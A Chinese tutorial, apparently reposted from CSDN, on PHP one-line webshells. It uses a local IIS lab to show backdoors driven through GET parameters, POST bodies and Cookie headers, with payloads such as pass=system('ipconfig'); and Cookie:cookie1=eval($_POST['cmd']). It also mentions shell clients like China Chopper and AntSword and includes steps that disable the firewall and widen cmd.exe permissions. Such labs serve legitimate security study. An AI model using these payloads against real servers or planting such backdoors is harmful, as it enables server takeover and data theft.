目录
一.基本原理
二.实践
1.GET方式
2.POST方式
3.Cookie
4.遇到问题合集:
webshell就是以网页文件形式存在的一种命令执行环境,也可以将其称作一种网页木马后门。攻击者可以通过这种网页后门获得网站服务器操作权限,控制网站服务器进行上传下载文件、查看数据库、执行命令等。
webshell分为一句话木马、小马、大马。一句话木马简短,使用方便;小马只包含文件上传功能,体积小;大马体积大,包含功能较多,代码通常会加密隐藏。
网页脚本:jsp,asp,aspx,php。(今天以php为例展开叙述)
webshell大多以动态脚本形式出现,可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口进行传递,并且一般不会在系统日志中留下记录,只会在web日志中留下数据传递记录。
搭建web网站,过程可以参考上一篇: IIS安装配置以及搭建web网站-CSDN博客
并且关掉防火墙,在IIS中网站指定的物理路径下新建文件夹webshell
如果出现问题,可以先看最后的问题合集。
(将一句话木马放入url的参数中)
在webshell中写get.php:
payload: http://192.168.1.102/webshell/get.php?pass=phpinfo();
参数pass也可以赋值为system('ipconfig'); 或者system('dir');
这里的分号不能省略,eval()函数会将该字符串当作php代码执行,';'代表一句话的结束。
结果:( "pass=phpinfo(); "时 )

(将一句话木马放入请求体中)
在webshell中写post.php:
payload: http://192.168.1.102/webshell/post.php
通过hackbar或者bp来传参(bp快速转换请求方式:右键选择change request method)
请求体中:
pass=phpinfo();或者pass=system('ipconfig');或者pass=system('dir');或者pass=system('ls');
结果:("pass=phpinfo();"为例)
(将一句话木马放在请求头的Cookie中)
在webshell中写cookie.php:
payload: http://192.168.1.102/webshell/cookie.php
通过hackbar或者bp,将Cookie添加到请求头中,并以Cookie内容中指定方式添加Cookie中的参数。我的只能在bp上成功。
请求头中写:Cookie:cookie1=eval($_POST['cmd'])
插入:Cookie简写格式为Cookie:cookie_name=cookie_value
请求体中写:cmd=phpinfo();或者cmd=system('ipconfig');或者cmd=system('dir');或者cmd=system('ls');
结果:(我的在hackbar上无法实现,以bp方式的"cmd=phpinfo();"为例)

上述测试,除了浏览器,还可以使用菜刀,蚁剑(以cookie.php为例)

(1)对cmd.exe权限不够
添加当前站点的运行账号权限或users组权限到cmd.exe。
首先,要给当前用户添加对cmd.exe运行权限,可以使用Windows的内置工具icacls:
如果想给users组添加权限,如下:(可不做)
(2)php调用cmd.exe执行ipconfig后返回的是乱码
PHP运行system()语句是调用了操作系统的shell(Windows上是cmd.exe),得到结果后返回内容。乱码问题是因为编码不一致,PHP脚本默认使用UTF-8编码,而cmd.exe默认使用的编码可能是GBK或者其他编码。
方法一:要解决这个问题,可以在PHP脚本中通过exec或shell_exec函数执行ipconfig命令时,使用中间工具(如iconv)转换编码。前提:确保PHP环境安装了iconv扩展,否则需要在服务器上安装或启用它。
方法二:短暂性或永久性修改cmd.exe的值。
详见:Windows终端中文乱码,查看系统默认编码及修改系统默认编码_查看系统编码-CSDN博客
版权声明:
本文来源网络,所有图片文章版权属于原作者,如有侵权,联系删除。
本文网址:https://www.mushiming.com/mjsbk/4683.html